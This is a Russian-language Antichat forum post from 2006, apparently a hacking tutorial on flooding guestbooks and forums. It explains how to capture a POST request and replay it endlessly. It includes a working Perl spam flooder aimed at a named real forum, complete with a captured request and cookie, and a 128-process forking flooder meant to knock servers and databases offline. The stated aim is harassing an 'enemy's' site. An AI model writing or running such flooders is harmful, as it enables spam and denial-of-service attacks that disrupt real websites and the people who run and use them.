ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Howto.Флуд гостевых книг, форумов и т.д.
  #1  
Старый 26.11.2006, 02:45
Аватар для Gh0s7
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию Howto.Флуд гостевых книг, форумов и т.д.

Флуд веба в домашних условиях.

Эта статья - некий аналог доки "Написание эксплоита для Web в домашних условиях"
Только мы будем писать всякие флудеры и прочие нехорошие вещи :)

Прошу каментить и оценивать

Начали :)

I Intro

Наверняка каждый из нас заходил на домашнюю страничку недруга и видел там пункт "гостевая книга". Многим захотелось написать туда сообщение.И не одно :)

В этой статье я расскажу как такое можно сделать.
Сразу оговорюсь, что все флудеры я буду писать на перле.

Итак, вот что нам понадобится:
1)Браузер Firefox с плагином Live HTTP Headers.Без него можно, но гораздо удобней именно с плагином.
2)perl, желательно на nix-системе.Возможны варианты с денвером, active perl'ом, cygwin'ом
3)Прямые руки и начальные знания HTTP протокола и программирования.
Постараюсь описать на реальных примерах.

II Inside

Как устроены гостевые книги? Чаще всего это html-форма через которую клиент передает сообщение и php-скрипт, который собственно это сообщение добавляет в базу (реже - файл). Для примера возьмем форум одного "мега-портала" - linuxsuxx.fastbb.ru

Вот "скелет" флудера:
Код:
#!/usr/bin/perl -w

use IO::Socket;
$host = "[victimhost]";
$pack='[http packet dump]'
while (1) {
  my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp) or die "No Answer";
  print $h_sock $req;
}
Как видите, все очень просто.
Переменной $host задается хост для флуда, в $pack пихается дамп пакета.

Т.к. все на борда.ру написано на яваскриптах, мы будем использовать Live HTTP Heders или любой другой аналогичный плагин. Запускаем LiveHTTPHeaders, пишем постик на свой вкус и жмем "отправить". Получаем дамп трафика.Keep-Alive лушче сразу удалить, потому что нам сервер нужен живим, а кипаливом мы его совсем убьем :)

Вот код флудера под борду:
Код:
#!/usr/bin/perl -w

use IO::Socket;

$host = " linuxsuxx.fastbb.ru";

$pack='POST / HTTP/1.1
Host: linuxsuxx.borda.ru
User-Agent: Agent Smith
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Referer: http://linuxsuxx.borda.ru/?0-0
Cookie: s=7fnô5fôù
Content-Type: application/x-www-form-urlencoded
Content-Length: 258

parol=7fn%F45f%F4%F9&work=2&razdel=0&start=0&filenumber=&msgid=&start_page_re=0&adresat=&only_new_re=0&statisc=308777%601280%6024%60no%60no%60no%60no%60no&title=Another+Fl00d&message=%D2%F3%F2+%E1%FB%EB+%CF%F3%EF%E0+%C2%E0%F1%FC%EA%E8%ED.&nick=3v1l+b0t&pass=';

while (1) {

my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp ) or die "sock";
print $h_sock $pack;

}
По вкусу можно вставлять sleep в цикл :)
У нас флудер однопоточный, т.к. нам нужно не убить сервер а зафлудить скрипт. Скрипт готов. Запускаем. Наслаждаемся :)

III Флуд серверов, баз данных.

Иногда бывает проще задосить сервер целиком.
Некоторые навароченные движки делают под 20 SQL запросов за раз. Давайте подумаем, что будет если мы одновременно пошелм 5 запросов? А 10?
Чем больше запросов - тем проще будет скрипт завалить.
Код многопоточного флудера:
Код:
#!/usr/bin/perl -w

#########################
# USE AT YOUR OWN RISK  #
#     Coded by Gh0s7    #
#########################

use IO::Socket;

if(@ARGV < 3) { usage();}

$host  = $ARGV[0];
$port  = $ARGV[1];
$proto = $ARGV[2];
$ifile = $ARGV[3];

$thread= 128;

sub usage
{
        print "#############################################\n";
        print "./ps.pl [host] [port] [proto] [Packet_file]  \n";
        print "#############################################\n";
        exit 1;
}

open    (IFILE,$ifile) or die ("iFile");
sysread (IFILE,$buff,5000);
close   (IFILE);
$sock  = "$buff\n";

#Test Fork

for ( $i = 1; $i < $thread; $i++)
{
  $proc = fork;
  if ( $proc == "0" ) { last; }
  print ("[ $proc ($i) Process Ready ]\n") || print "[ Cannot Fork ]\n" && last;
#  print ("[ $proc ($i) Started! ]\n");

}
  while ( 1 )

  {
        my $h_sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "$proto" ) or print ("[ $$ Closed Sock ] \n") && sleep 5 && next;
        print $h_sock "$sock" ;
        print "[ $$ Send Req ]\n";
#       sleep 0.5;
#Use at your own risk!
#NO TIMEOUT!

  }


IV Outro

Как видите флуд - очень простая вещь.Главное - знать основы протокола HTTP. А дальше все делается по анологии ;)

Links:
HTTP 1.0 rfc
Для Тренировки ;)
Live HTTP Headers

Не шали (С)
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
списки гостевых книг, форумов где гости имеют право писать сообщения. BlackCats Инвайты, mails, базы - Покупка, продажа 5 18.06.2006 01:26



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ